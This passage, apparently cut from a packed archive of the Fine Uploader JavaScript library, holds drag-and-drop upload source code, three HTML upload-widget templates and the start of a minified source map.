disposeSupport.attach(qq(document).children()[0], \"mouseenter\", function(e) {\n            maybeHideDropZones();\n        });\n\n        disposeSupport.attach(document, \"drop\", function(e) {\n            e.preventDefault();\n            maybeHideDropZones();\n        });\n\n        disposeSupport.attach(document, HIDE_ZONES_EVENT_NAME, maybeHideDropZones);\n    }\n\n    setupDragDrop();\n\n    qq.extend(this, {\n        setupExtraDropzone: function(element) {\n            options.dropZoneElements.push(element);\n            setupDropzone(element);\n        },\n\n        removeDropzone: function(element) {\n            var i,\n                dzs = options.dropZoneElements;\n\n            for (i in dzs) {\n                if (dzs[i] === element) {\n                    return dzs.splice(i, 1);\n                }\n            }\n        },\n\n        dispose: function() {\n            disposeSupport.dispose();\n            qq.each(uploadDropZones, function(idx, dropZone) {\n                dropZone.dispose();\n            });\n        }\n    });\n};\n\nqq.DragAndDrop.callbacks = function() {\n    \"use strict\";\n\n    return {\n        processingDroppedFiles: function() {},\n        processingDroppedFilesComplete: function(files, targetEl) {},\n        dropError: function(code, errorSpecifics) {\n            qq.log(\"Drag & drop error code '\" + code + \" with these specifics: '\" + errorSpecifics + \"'\", \"error\");\n        },\n        dropLog: function(message, level) {\n            qq.log(message, level);\n        }\n    };\n};\n\nqq.UploadDropZone = function(o) {\n    \"use strict\";\n\n    var disposeSupport = new qq.DisposeSupport(),\n        options, element, preventDrop, dropOutsideDisabled;\n\n    options = {\n        element: null,\n        onEnter: function(e) {},\n        onLeave: function(e) {},\n        // is not fired when leaving element by hovering descendants\n        onLeaveNotDescendants: function(e) {},\n        onDrop: function(e) {}\n    };\n\n    qq.extend(options, o);\n    element = options.element;\n\n    function dragoverShouldBeCanceled() {\n        return qq.safari() || (qq.firefox() && qq.windows());\n    }\n\n    function disableDropOutside(e) {\n        // run only once for all instances\n        if (!dropOutsideDisabled) {\n\n            // for these cases we need to catch onDrop to reset dropArea\n            if (dragoverShouldBeCanceled) {\n                disposeSupport.attach(document, \"dragover\", function(e) {\n                    e.preventDefault();\n                });\n            } else {\n                disposeSupport.attach(document, \"dragover\", function(e) {\n                    if (e.dataTransfer) {\n                        e.dataTransfer.dropEffect = \"none\";\n                        e.preventDefault();\n                    }\n                });\n            }\n\n            dropOutsideDisabled = true;\n        }\n    }\n\n    function isValidFileDrag(e) {\n        // e.dataTransfer currently causing IE errors\n        // IE9 does NOT support file API, so drag-and-drop is not possible\n        if (!qq.supportedFeatures.fileDrop) {\n            return false;\n        }\n\n        var effectTest, dt = e.dataTransfer,\n        // do not check dt.types.contains in webkit, because it crashes safari 4\n        isSafari = qq.safari();\n\n        // dt.effectAllowed is none in Safari 5\n        // dt.types.contains check is for firefox\n\n        // dt.effectAllowed crashes IE 11 & 10 when files have been dragged from\n        // the filesystem\n        effectTest = qq.ie() && qq.supportedFeatures.fileDrop ? true : dt.effectAllowed !== \"none\";\n        return dt && effectTest && (dt.files || (!isSafari && dt.types.contains && dt.types.contains(\"Files\")));\n    }\n\n    function isOrSetDropDisabled(isDisabled) {\n        if (isDisabled !== undefined) {\n            preventDrop = isDisabled;\n        }\n        return preventDrop;\n    }\n\n    function triggerHidezonesEvent() {\n        var hideZonesEvent;\n\n        function triggerUsingOldApi() {\n            hideZonesEvent = document.createEvent(\"Event\");\n            hideZonesEvent.initEvent(options.HIDE_ZONES_EVENT_NAME, true, true);\n        }\n\n        if (window.CustomEvent) {\n            try {\n                hideZonesEvent = new CustomEvent(options.HIDE_ZONES_EVENT_NAME);\n            }\n            catch (err) {\n                triggerUsingOldApi();\n            }\n        }\n        else {\n            triggerUsingOldApi();\n        }\n\n        document.dispatchEvent(hideZonesEvent);\n    }\n\n    function attachEvents() {\n        disposeSupport.attach(element, \"dragover\", function(e) {\n            if (!isValidFileDrag(e)) {\n                return;\n            }\n\n            // dt.effectAllowed crashes IE 11 & 10 when files have been dragged from\n            // the filesystem\n            var effect = qq.ie() && qq.supportedFeatures.fileDrop ? null : e.dataTransfer.effectAllowed;\n            if (effect === \"move\" || effect === \"linkMove\") {\n                e.dataTransfer.dropEffect = \"move\"; // for FF (only move allowed)\n            } else {\n                e.dataTransfer.dropEffect = \"copy\"; // for Chrome\n            }\n\n            e.stopPropagation();\n            e.preventDefault();\n        });\n\n        disposeSupport.attach(element, \"dragenter\", function(e) {\n            if (!isOrSetDropDisabled()) {\n                if (!isValidFileDrag(e)) {\n                    return;\n                }\n                options.onEnter(e);\n            }\n        });\n\n        disposeSupport.attach(element, \"dragleave\", function(e) {\n            if (!isValidFileDrag(e)) {\n                return;\n            }\n\n            options.onLeave(e);\n\n            var relatedTarget = document.elementFromPoint(e.clientX, e.clientY);\n            // do not fire when moving a mouse over a descendant\n            if (qq(this).contains(relatedTarget)) {\n                return;\n            }\n\n            options.onLeaveNotDescendants(e);\n        });\n\n        disposeSupport.attach(element, \"drop\", function(e) {\n            if (!isOrSetDropDisabled()) {\n                if (!isValidFileDrag(e)) {\n                    return;\n                }\n\n                e.preventDefault();\n                e.stopPropagation();\n                options.onDrop(e);\n\n                triggerHidezonesEvent();\n            }\n        });\n    }\n\n    disableDropOutside();\n    attachEvents();\n\n    qq.extend(this, {\n        dropDisabled: function(isDisabled) {\n            return isOrSetDropDisabled(isDisabled);\n        },\n\n        dispose: function() {\n            disposeSupport.dispose();\n        },\n\n        getElement: function() {\n            return element;\n        }\n    });\n};\n"]}js/fileupload/templates/gallery.html000060400000011013150710775200013623 0ustar00<!--
    Read the "Getting Started Guide" at http://docs.fineuploader.com/quickstart/01-getting-started.html
    if you are not yet familiar with Fine Uploader UI.
    Please see http://docs.fineuploader.com/features/styling.html for information
    on how to customize this template.
-->
<script type="text/template" id="qq-template">
    <div class="qq-uploader-selector qq-uploader qq-gallery" qq-drop-area-text="Drop files here">
        <div class="qq-total-progress-bar-container-selector qq-total-progress-bar-container">
            <div role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" class="qq-total-progress-bar-selector qq-progress-bar qq-total-progress-bar"></div>
        </div>
        <div class="qq-upload-drop-area-selector qq-upload-drop-area" qq-hide-dropzone>
            <span class="qq-upload-drop-area-text-selector"></span>
        </div>
        <div class="qq-upload-button-selector qq-upload-button">
            <div>Upload a file</div>
        </div>
        <span class="qq-drop-processing-selector qq-drop-processing">
            <span>Processing dropped files...</span>
            <span class="qq-drop-processing-spinner-selector qq-drop-processing-spinner"></span>
        </span>
        <ul class="qq-upload-list-selector qq-upload-list" role="region" aria-live="polite" aria-relevant="additions removals">
            <li>
                <span role="status" class="qq-upload-status-text-selector qq-upload-status-text"></span>
                <div class="qq-progress-bar-container-selector qq-progress-bar-container">
                    <div role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" class="qq-progress-bar-selector qq-progress-bar"></div>
                </div>
                <span class="qq-upload-spinner-selector qq-upload-spinner"></span>
                <div class="qq-thumbnail-wrapper">
                    <img class="qq-thumbnail-selector" qq-max-size="120" qq-server-scale>
                </div>
                <button type="button" class="qq-upload-cancel-selector qq-upload-cancel">X</button>
                <button type="button" class="qq-upload-retry-selector qq-upload-retry">
                    <span class="qq-btn qq-retry-icon" aria-label="Retry"></span>
                    Retry
                </button>

                <div class="qq-file-info">
                    <div class="qq-file-name">
                        <span class="qq-upload-file-selector qq-upload-file"></span>
                        <span class="qq-edit-filename-icon-selector qq-btn qq-edit-filename-icon" aria-label="Edit filename"></span>
                    </div>
                    <input class="qq-edit-filename-selector qq-edit-filename" tabindex="0" type="text">
                    <span class="qq-upload-size-selector qq-upload-size"></span>
                    <button type="button" class="qq-btn qq-upload-delete-selector qq-upload-delete">
                        <span class="qq-btn qq-delete-icon" aria-label="Delete"></span>
                    </button>
                    <button type="button" class="qq-btn qq-upload-pause-selector qq-upload-pause">
                        <span class="qq-btn qq-pause-icon" aria-label="Pause"></span>
                    </button>
                    <button type="button" class="qq-btn qq-upload-continue-selector qq-upload-continue">
                        <span class="qq-btn qq-continue-icon" aria-label="Continue"></span>
                    </button>
                </div>
            </li>
        </ul>

        <dialog class="qq-alert-dialog-selector">
            <div class="qq-dialog-message-selector"></div>
            <div class="qq-dialog-buttons">
                <button type="button" class="qq-cancel-button-selector">Close</button>
            </div>
        </dialog>

        <dialog class="qq-confirm-dialog-selector">
            <div class="qq-dialog-message-selector"></div>
            <div class="qq-dialog-buttons">
                <button type="button" class="qq-cancel-button-selector">No</button>
                <button type="button" class="qq-ok-button-selector">Yes</button>
            </div>
        </dialog>

        <dialog class="qq-prompt-dialog-selector">
            <div class="qq-dialog-message-selector"></div>
            <input type="text">
            <div class="qq-dialog-buttons">
                <button type="button" class="qq-cancel-button-selector">Cancel</button>
                <button type="button" class="qq-ok-button-selector">Ok</button>
            </div>
        </dialog>
    </div>
</script>
js/fileupload/templates/simple-thumbnails.html000060400000007146150710775200015635 0ustar00<!--
    Read the "Getting Started Guide" at http://docs.fineuploader.com/quickstart/01-getting-started.html
    if you are not yet familiar with Fine Uploader UI.
    Please see http://docs.fineuploader.com/features/styling.html for information
    on how to customize this template.
-->
<script type="text/template" id="qq-simple-thumbnails-template">
    <div class="qq-uploader-selector qq-uploader" qq-drop-area-text="Drop files here">
        <div class="qq-total-progress-bar-container-selector qq-total-progress-bar-container">
            <div role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" class="qq-total-progress-bar-selector qq-progress-bar qq-total-progress-bar"></div>
        </div>
        <div class="qq-upload-drop-area-selector qq-upload-drop-area" qq-hide-dropzone>
            <span class="qq-upload-drop-area-text-selector"></span>
        </div>
        <div class="qq-upload-button-selector qq-upload-button">
            <div>Upload a file</div>
        </div>
        <span class="qq-drop-processing-selector qq-drop-processing">
            <span>Processing dropped files...</span>
            <span class="qq-drop-processing-spinner-selector qq-drop-processing-spinner"></span>
        </span>
        <ul class="qq-upload-list-selector qq-upload-list" aria-live="polite" aria-relevant="additions removals">
            <li>
                <div class="qq-progress-bar-container-selector">
                    <div role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" class="qq-progress-bar-selector qq-progress-bar"></div>
                </div>
                <span class="qq-upload-spinner-selector qq-upload-spinner"></span>
                <img class="qq-thumbnail-selector" qq-max-size="100" qq-server-scale>
                <span class="qq-upload-file-selector qq-upload-file"></span>
                <span class="qq-edit-filename-icon-selector qq-edit-filename-icon" aria-label="Edit filename"></span>
                <input class="qq-edit-filename-selector qq-edit-filename" tabindex="0" type="text">
                <span class="qq-upload-size-selector qq-upload-size"></span>
                <button type="button" class="qq-btn qq-upload-cancel-selector qq-upload-cancel">Cancel</button>
                <button type="button" class="qq-btn qq-upload-retry-selector qq-upload-retry">Retry</button>
                <button type="button" class="qq-btn qq-upload-delete-selector qq-upload-delete">Delete</button>
                <span role="status" class="qq-upload-status-text-selector qq-upload-status-text"></span>
            </li>
        </ul>

        <dialog class="qq-alert-dialog-selector">
            <div class="qq-dialog-message-selector"></div>
            <div class="qq-dialog-buttons">
                <button type="button" class="qq-cancel-button-selector">Close</button>
            </div>
        </dialog>

        <dialog class="qq-confirm-dialog-selector">
            <div class="qq-dialog-message-selector"></div>
            <div class="qq-dialog-buttons">
                <button type="button" class="qq-cancel-button-selector">No</button>
                <button type="button" class="qq-ok-button-selector">Yes</button>
            </div>
        </dialog>

        <dialog class="qq-prompt-dialog-selector">
            <div class="qq-dialog-message-selector"></div>
            <input type="text">
            <div class="qq-dialog-buttons">
                <button type="button" class="qq-cancel-button-selector">Cancel</button>
                <button type="button" class="qq-ok-button-selector">Ok</button>
            </div>
        </dialog>
    </div>
</script>
js/fileupload/templates/default.html000060400000006771150710775200013627 0ustar00<!--
    This is a legacy template and is not meant to be used in new Fine Uploader integrated projects.
    Read the "Getting Started Guide" at http://docs.fineuploader.com/quickstart/01-getting-started.html
    if you are not yet familiar with Fine Uploader UI.
-->
<script type="text/template" id="qq-template">
    <div class="qq-uploader-selector qq-uploader" qq-drop-area-text="Drop files here">
        <div class="qq-total-progress-bar-container-selector qq-total-progress-bar-container">
            <div role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" class="qq-total-progress-bar-selector qq-progress-bar qq-total-progress-bar"></div>
        </div>
        <div class="qq-upload-drop-area-selector qq-upload-drop-area" qq-hide-dropzone>
            <span class="qq-upload-drop-area-text-selector"></span>
        </div>
        <div class="qq-upload-button-selector qq-upload-button">
            <div>Upload a file</div>
        </div>
            <span class="qq-drop-processing-selector qq-drop-processing">
                <span>Processing dropped files...</span>
                <span class="qq-drop-processing-spinner-selector qq-drop-processing-spinner"></span>
            </span>
        <ul class="qq-upload-list-selector qq-upload-list" aria-live="polite" aria-relevant="additions removals">
            <li>
                <div class="qq-progress-bar-container-selector">
                    <div role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" class="qq-progress-bar-selector qq-progress-bar"></div>
                </div>
                <span class="qq-upload-spinner-selector qq-upload-spinner"></span>
                <span class="qq-upload-file-selector qq-upload-file"></span>
                <span class="qq-edit-filename-icon-selector qq-edit-filename-icon" aria-label="Edit filename"></span>
                <input class="qq-edit-filename-selector qq-edit-filename" tabindex="0" type="text">
                <span class="qq-upload-size-selector qq-upload-size"></span>
                <button type="button" class="qq-btn qq-upload-cancel-selector qq-upload-cancel">Cancel</button>
                <button type="button" class="qq-btn qq-upload-retry-selector qq-upload-retry">Retry</button>
                <button type="button" class="qq-btn qq-upload-delete-selector qq-upload-delete">Delete</button>
                <span role="status" class="qq-upload-status-text-selector qq-upload-status-text"></span>
            </li>
        </ul>

        <dialog class="qq-alert-dialog-selector">
            <div class="qq-dialog-message-selector"></div>
            <div class="qq-dialog-buttons">
                <button type="button" class="qq-cancel-button-selector">Close</button>
            </div>
        </dialog>

        <dialog class="qq-confirm-dialog-selector">
            <div class="qq-dialog-message-selector"></div>
            <div class="qq-dialog-buttons">
                <button type="button" class="qq-cancel-button-selector">No</button>
                <button type="button" class="qq-ok-button-selector">Yes</button>
            </div>
        </dialog>

        <dialog class="qq-prompt-dialog-selector">
            <div class="qq-dialog-message-selector"></div>
            <input type="text">
            <div class="qq-dialog-buttons">
                <button type="button" class="qq-cancel-button-selector">Cancel</button>
                <button type="button" class="qq-ok-button-selector">Ok</button>
            </div>
        </dialog>
    </div>
</script>
js/fileupload/fine-uploader.min.js.map000060400002222564150710775200013747 0ustar00{"version":3,"sources":["?","../client/js/util.js","../client/js/export.js","../client/js/error/error.js","../client/js/version.js","../client/js/features.js","../client/js/promise.js","../client/js/blob-proxy.js","../client/js/button.js","../client/js/upload-data.js","../client/js/uploader.basic.api.js","../client/js/uploader.basic.js","../client/js/ajax.requester.js","../client/js/upload-handler/upload.handler.js","../client/js/upload-handler/upload.handler.controller.js","../client/js/window.receive.message.js","../client/js/upload-handler/form.upload.handler.js","../client/js/upload-handler/xhr.upload.handler.js","../client/js/deletefile.ajax.requester.js","../client/js/image-support/megapix-image.js","../client/js/image-support/image.js","../client/js/image-support/exif.js","../client/js/identify.js","../client/js/image-support/validation.image.js","../client/js/session.js","../client/js/session.ajax.requester.js","../client/js/image-support/scaler.js","../client/js/third-party/ExifRestorer.js","../client/js/total-progress.js","../client/js/paste.js","../client/js/form-support.js","../client/js/traditional/traditional.form.upload.handler.js","../client/js/traditional/traditional.xhr.upload.handler.js","../client/js/traditional/all-chunks-done.ajax.requester.js","../client/js/dnd.js","../client/js/uploader.api.js","../client/js/uploader.js","../client/js/templating.js","../client/js/ui.handler.events.js","../client/js/ui.handler.click.filebuttons.js","../client/js/ui.handler.click.filename.js","../client/js/ui.handler.focusin.filenameinput.js","../client/js/ui.handler.focus.filenameinput.js","../client/js/ui.handler.edit.filename.js"],"names":["global","qq","element","hide","style","display","this","attach","type","fn","addEventListener","attachEvent","detach","removeEventListener","detachEvent","contains","descendant","compareDocumentPosition","insertBefore","elementB","parentNode","remove","removeChild","css","styles","Error","opacity","filter","Math","round","extend","hasClass","name","considerParent","re","RegExp","test","className","addClass","removeClass","replace","getByClass","first","candidates","result","querySelector","querySelectorAll","getElementsByTagName","each","idx","val","push","getFirstByClass","children","child","firstChild","nodeType","nextSibling","setText","text","innerText","textContent","clearText","hasAttribute","attrName","attrVal","exec","getAttribute","undefined","canvasToBlob","canvas","mime","quality","dataUriToBlob","toDataURL","dataUri","arrayBuffer","byteString","intArray","mimeString","createBlob","data","BlobBuilder","window","WebKitBlobBuilder","MozBlobBuilder","MSBlobBuilder","blobBuilder","append","getBlob","Blob","split","indexOf","atob","decodeURI","ArrayBuffer","length","Uint8Array","character","charCodeAt","log","message","level","console","isObject","variable","Object","prototype","toString","call","isFunction","isArray","value","buffer","constructor","isItemList","maybeItemList","isNodeList","maybeNodeList","item","namedItem","isString","maybeString","trimStr","string","String","trim","format","str","args","Array","slice","arguments","newStr","nextIdxToReplace","strBefore","substring","strAfter","isFile","maybeFile","File","isFileList","maybeFileList","FileList","isFileOrInput","maybeFileOrInput","isInput","maybeInput","notFile","evaluateType","normalizedType","toLowerCase","HTMLInputElement","tagName","isBlob","maybeBlob","isXhrUploadSupported","input","document","createElement","multiple","FormData","createXhrInstance","upload","XMLHttpRequest","ActiveXObject","error","isFolderDropSupported","dataTransfer","items","webkitGetAsEntry","isFileChunkingSupported","androidStock","webkitSlice","mozSlice","sliceBlob","fileOrBlob","start","end","slicer","arrayBufferToHex","bytesAsHex","bytes","byt","byteAsHexStr","readBlobToHex","blob","startOffset","initialBlob","fileReader","FileReader","promise","Promise","onload","success","onerror","failure","readAsArrayBuffer","second","extendNested","prop","override","target","sourceFn","super_","source","srcPropName","srcPropVal","arr","elt","from","len","hasOwnProperty","getUniqueId","c","r","random","v","ie","navigator","userAgent","ie7","ie8","ie10","ie11","edge","safari","vendor","chrome","opera","firefox","windows","platform","android","ios6","ios","ios7","ios8","ios800","iosChrome","iosSafari","iosSafariWebView","preventDefault","e","returnValue","toElement","div","html","innerHTML","iterableItem","callback","keyOrIndex","retVal","Storage","key","getItem","charAt","bind","oldFunc","context","newArgs","concat","apply","obj2url","obj","temp","prefixDone","uristrings","prefix","add","nextObj","i","nextTemp","encodeURIComponent","join","obj2FormData","formData","arrayKeyName","obj2Inputs","form","setAttribute","appendChild","parseJson","json","JSON","parse","eval","getExtension","filename","extIdx","lastIndexOf","substr","getFilename","blobOrFileInput","fileName","DisposeSupport","disposers","dispose","disposer","shift","addDisposer","disposeFunction","define","amd","module","exports","version","supportedFeatures","testSupportsFileInputElement","tempInput","supported","disabled","ex","isChrome21OrHigher","match","isChrome14OrHigher","isCrossOriginXhrSupported","xhr","withCredentials","isXdrSupported","XDomainRequest","isCrossOriginAjaxSupported","isFolderSelectionSupported","webkitdirectory","isLocalStorageSupported","localStorage","setItem","isDragAndDropSupported","span","supportsUploading","supportsUploadingBlobs","supportsFileDrop","supportsAjaxFileUploading","supportsFolderDrop","supportsChunking","supportsResume","supportsUploadViaPaste","supportsUploadCors","supportsDeleteFileXdr","supportsDeleteFileCorsXhr","supportsDeleteFileCors","supportsFolderSelection","supportsImagePreviews","supportsUploadProgress","postMessage","ajaxUploading","blobUploading","canDetermineSize","chunking","deleteFileCors","deleteFileCorsXdr","deleteFileCorsXhr","dialogElement","HTMLDialogElement","fileDrop","folderDrop","folderSelection","imagePreviews","imageValidation","itemSizeValidation","pause","progressBar","resume","scaling","tiffPreviews","unlimitedScaledImageSize","uploading","uploadCors","uploadCustomHeaders","uploadNonMultipart","uploadViaPaste","isGenericPromise","maybePromise","then","successArgs","failureArgs","successCallbacks","failureCallbacks","doneCallbacks","state","onSuccess","onFailure","done","BlobProxy","referenceBlob","onCreate","create","UploadButton","o","createInput","BUTTON_ID_ATTR_NAME","buttonId","options","title","self","setMultiple","folders","acceptFiles","position","right","top","fontFamily","fontSize","margin","padding","cursor","height","disposeSupport","onChange","hoverClass","focusClass","ios8BrowserCrashWorkaround","overflow","direction","getInput","getButtonId","isMultiple","optInput","removeAttribute","setAcceptFiles","reset","UploadData","uploaderProxy","getDataByIds","idOrIds","entries","id","getDataByUuids","uuids","uuid","byUuid","getDataByStatus","status","statusResults","statuses","index","statusEnum","statusResultIndexes","byStatus","dataIndex","byProxyGroupId","byBatchId","addFile","spec","SUBMITTING","originalName","size","batchId","proxyGroupId","onStatusChange","retrieve","optionalFilter","setStatus","newStatus","oldStatus","byStatusOldStatusIndex","splice","uuidChanged","newUuid","oldUuid","updateName","newName","updateSize","newSize","setParentId","targetId","parentId","getIdsInProxyGroup","getIdsInBatch","SUBMITTED","REJECTED","QUEUED","CANCELED","PAUSED","UPLOADING","UPLOAD_RETRYING","UPLOAD_SUCCESSFUL","UPLOAD_FAILED","DELETE_FAILED","DELETING","DELETED","basePublicApi","addBlobs","blobDataOrArray","params","endpoint","addFiles","addInitialFiles","cannedFileList","cannedFile","_addCannedFile","_maybeHandleIos8SafariWorkaround","_storedIds","_currentBatchId","processBlob","_handleNewFile","_options","blobs","defaultName","verifiedFiles","processBlobData","blobData","processCanvas","processCanvasData","canvasData","normalizedQuality","processFileOrInput","fileOrInput","files","file","normalizeData","fileContainer","_prepareItemsForUpload","cancel","_handler","cancelAll","storedIdsCopy","storedFileId","clearStoredFiles","continueUpload","uploadData","_uploadData","enabled","getName","_uploadFile","deleteFile","_onSubmitDelete","doesExist","fileOrBlobId","isValid","drawThumbnail","fileId","imgOrCanvas","maxSize","fromServer","customResizeFunction","fileOrUrl","promiseToReturn","_imageGenerator","_thumbnailUrls","scale","getFile","container","generate","modifiedContainer","reason","getButton","_getButton","_buttonIdsForFileIds","getEndpoint","_endpointStore","get","getInProgress","getParentId","uploadDataEntry","getUploads","getResumableFilesData","getSize","getNetUploads","_netUploaded","getRemainingAllowedItems","allowedItems","_currentItemLimit","_netUploadedOrQueued","getUuid","debug","pauseUpload","_autoRetries","_retryTimeouts","_preventRetries","_buttons","button","_paramsStore","_pasteHandler","session","refreshOnReset","_refreshSessionData","_succeededSinceLastAllComplete","_failedSinceLastAllComplete","_totalProgress","retry","_manualRetry","scaleImage","specs","Scaler","setCustomHeaders","headers","_customHeadersStore","set","setDeleteFileCustomHeaders","_deleteFileCustomHeadersStore","setDeleteFileEndpoint","_deleteFileEndpointStore","setDeleteFileParams","_deleteFileParamsStore","setEndpoint","setForm","elementOrId","_updateFormSupportAndParams","setItemLimit","newItemLimit","setName","setParams","setUuid","uploadStoredFiles","_itemError","_uploadStoredFiles","basePrivateApi","sessionData","deleteFileEndpoint","deleteFileParams","thumbnailUrl","_annotateWithButtonId","associatedInput","qqButtonId","_getButtonId","_batchError","callbacks","onError","_createDeleteHandler","DeleteFileAjaxRequester","method","toUpperCase","maxConnections","uuidParamName","request","uuidName","customHeaders","paramsStore","endpointStore","cors","onDelete","_onDelete","onDeleteComplete","xhrOrXdr","isError","_onDeleteComplete","_createPasteHandler","PasteSupport","targetElement","paste","pasteReceived","_handleCheckedCallback","onPasteReceived","_handlePasteSuccess","identifier","_createStore","initialValue","_readOnlyValues_","store","catchall","perIdReadOnlyValues","readOnlyValues","copy","orig","getReadOnlyValues","includeReadOnlyValues","existing","values","addReadOnly","_createUploadDataTracker","_onUploadStatusChange","_maybeAllComplete","setTimeout","_createUploadButton","allowMultiple","workarounds","iosEmptyVideos","_isAllowedExtension","allowedExtensions","accept","validation","classes","buttonFocus","buttonHover","ios8BrowserCrash","inputName","_onInputChange","fileInputTitle","_disposeSupport","_createUploadHandler","additionalOptions","namespace","lastOnProgress","preventRetryParam","preventRetryResponseProperty","onProgress","loaded","total","_onProgress","onComplete","_onComplete","onCancel","cancelFinalizationEffort","_onCancel","onUploadPrep","_onUploadPrep","onUpload","_onUpload","onUploadChunk","chunkData","_onUploadChunk","onUploadChunkSuccess","onResume","onAutoRetry","responseJSON","_onAutoRetry","onUuidChanged","setSize","_setSize","getDataByUuid","isQueued","UploadHandlerController","_fileOrBlobRejected","_formatSize","max","toFixed","sizeSymbols","_generateExtraButtonSpecs","_extraButtonSpecs","extraButtons","extraButtonOptionEntry","extraButtonSpec","_initExtraButton","extraButtonsSpec","_defaultButtonId","buttonOrFileInputOrFile","inputs","fileInput","fileBlobOrInput","_getNotFinished","_getValidationBase","_getValidationDescriptor","fileWrapper","_getValidationDescriptors","fileWrappers","fileDescriptors","_handleCameraAccess","camera","acceptIosCamera","optionRoot","details","callbackRetVal","successParam","newFileWrapperList","actualFile","handler","_customNewFileHandler","_handleNewFileGeneric","addFileToHandler","_trackButton","fileList","extSuppliedName","extension","_initFormSupportAndParams","_formSupport","FormSupport","attachedToForm","getFormInputsAsObject","autoUpload","newAutoUpload","newEndpoint","_isDeletePossible","expected","allowXdr","allowed","valid","allowedExt","extRegex","code","maybeNameOrNames","replacement","extensionsForMessage","placeholderMatch","messages","names","validationBase","allowedExtension","formatFileName","sizeLimit","minSizeLimit","placeholder","_onBeforeManualRetry","notFinished","_onAllComplete","ios8SafariUploads","alert","unsupportedBrowserIos8Safari","_maybeParseAndSendUploadError","response","errorReason","defaultResponseError","_maybeProcessNextItemAfterOnValidateCallback","validItem","stopOnFirstInvalidFile","validationDescriptor","onValidate","_onValidateCallbackSuccess","_onValidateCallbackFailure","successful","failed","onAllComplete","_shouldAutoRetry","_onBeforeAutoRetry","autoAttemptDelay","itemLimit","onManualRetry","clearTimeout","storedItemIndex","expunge","fileIndex","onIndividualProgress","_onSubmit","_onSubmitCallbackSuccess","_onSubmitted","onSubmitted","_storeForLater","onSuccessCallback","additionalMandatedParams","adjustedOnSuccessCallback","onSubmitDelete","_deleteHandler","sendDelete","_onTotalProgress","onTotalProgress","_onValidateBatchCallbackFailure","_onValidateBatchCallbackSuccess","validationDescriptors","errorMessage","proposedNetFilesUploadedOrQueued","tooManyItemsError","nextIndex","_validateFileOrBlobData","_upload","onValidateBatch","_preventLeaveInProgress","event","onLeave","Session","_session","addFileRecord","refresh","_sessionRequestComplete","onSessionRequestComplete","onNewSize","enableAuto","maxAutoAttempts","formElementOrId","onSubmit","idToUpload","stillSubmitting","validityChecker","ImageValidation","validate","image","errorCode","_wrapCallbacks","safeCallback","errorMsg","exception","callbackName","callbackFunc","FineUploaderBasic","disableCancelForFormUploads","filenameParam","forceMultipart","paramsInBody","totalFileSizeName","maxHeight","maxWidth","minHeight","minWidth","maybeXhr","maybeXhrOrXdr","attemptNumber","fileOrBlobData","typeError","sizeError","minSizeError","emptyError","noFilesError","maxHeightImageError","maxWidthImageError","minHeightImageError","minWidthImageError","retryFailTooManyItems","concurrent","mandatory","paramNames","partIndex","partByteOffset","chunkSize","totalFileSize","totalParts","partSize","recordsExpireIn","resuming","fileOrBlobName","sendCredentials","interceptSubmit","customResizer","sendOriginal","orient","defaultType","defaultQuality","failureText","includeExif","sizes","ImageGenerator","_scaler","handleNewFile","TotalProgress","entry","AjaxRequester","isSimpleMethod","containsNonSimpleHeaders","containsNonSimple","header","isXdr","getCorsAjaxTransport","ontimeout","onprogress","getXhrOrXdr","suppliedXhr","requestData","dequeue","nextId","queue","sendRequest","xdrError","isResponseSuccessful","getParams","onDemandParams","additionalParams","mandatedParams","optXhr","url","payload","onSend","createUrl","additionalQueryParams","getXdrLoadHandler","getXdrErrorHandler","onreadystatechange","getXhrReadyStateChangeHandler","registerForUploadProgress","open","setHeaders","send","shouldParamsBeInQueryString","contentType","stringify","addToPath","readyState","lengthComputable","onDemandHeaders","additionalHeaders","allHeaders","acceptHeader","setRequestHeader","allowXRequestedWithAndCacheControl","responseCode","successfulResponseCodes","prepareToSend","validMethods","DELETE","PATCH","POST","PUT","GET","initTransport","path","cacheBuster","withPath","appendToPath","withParams","withQueryParams","_additionalQueryParams_","withHeaders","withPayload","thePayload","withCacheBuster","qqtimestamp","Date","getTime","canceled","UploadHandler","proxy","fileState","fileItem","onCancelRetVal","getThirdPartyFileId","_getFileState","_setThirdPartyFileId","thirdPartyFileId","_wasCanceled","preventRetryResponse","controller","chunkingPossible","concurrentChunkingPossible","chunked","chunkIdx","_getChunkData","attemptingResume","chunkProgress","_getChunkDataForCallback","finalize","finalizeChunks","normaizedResponse","normalizeResponse","_maybeDeletePersistedChunkData","cleanup","hasMoreParts","remaining","nextPart","nextIdx","_getTotalChunks","reevaluateChunking","sendNext","inProgressChunks","inProgress","connectionManager","available","uploadChunk","clearCachedChunk","responseToReport","inProgressChunkIdx","_maybePersistChunkedState","inProgressIdx","unshift","ignoreFailure","keys","_getXhrs","ckid","ckXhr","abort","_cancelled","moveInProgressToRemaining","free","clearXhr","_open","_openChunks","_waiting","openChunkEntriesCount","openChunksCount","openChunkIndexes","dontAllowNext","allowNext","waitingIndex","connectionsIndex","getProxyOrBlob","getWaitingOrConnected","waitingOrConnected","chunks","parseInt","isUsingConnection","pop","openChunksEntry","simple","uploadFile","maybeNewUuid","_clearXhrs","getProxy","initHandler","handlerType","traditional","handlerModuleSubtype","_removeExpiredChunkingRecords","isDeferredEligibleForUpload","maybeDefer","generatedBlob","updateBlob","maybeSendDeferredFiles","errorResponse","idsInGroup","uploadedThisId","idInGroup","now","originalResponse","_shouldChunkThisFile","blobToUpload","cancelRetVal","isProxied","isResumable","WindowReceiveMessage","callbackWrapperDetachers","receiveMessage","onMessageCallbackWrapper","stopReceivingMessages","detacher","FormUploadHandler","expungeFile","detachLoadEvents","isCors","postMessageCallbackTimers","corsMessageReceiver","iframe","getElementById","_getIframeName","getFileIdForIframeName","iframeName","initIframeForUpload","body","registerPostMessageCallback","onloadCallbacks","onloadCallback","_parseJsonResponse","_detachLoadEvent","formHandlerInstanceId","_attachLoadEvent","responseDescriptor","contentDocument","_createIframe","_initFormForUpload","targetName","innerHtmlOrMessage","XhrUploadHandler","xhrId","ajaxRequester","_getAjaxRequester","chunkFiles","resumeEnabled","blobOrProxy","_initTempState","_maybePrepareForResume","cachedChunks","tempState","xhrs","ajaxRequesters","responseParser","lastChunkIdx","_getXhr","resumableFilesData","_iterateResumeRecords","notResumable","optInProgress","optRe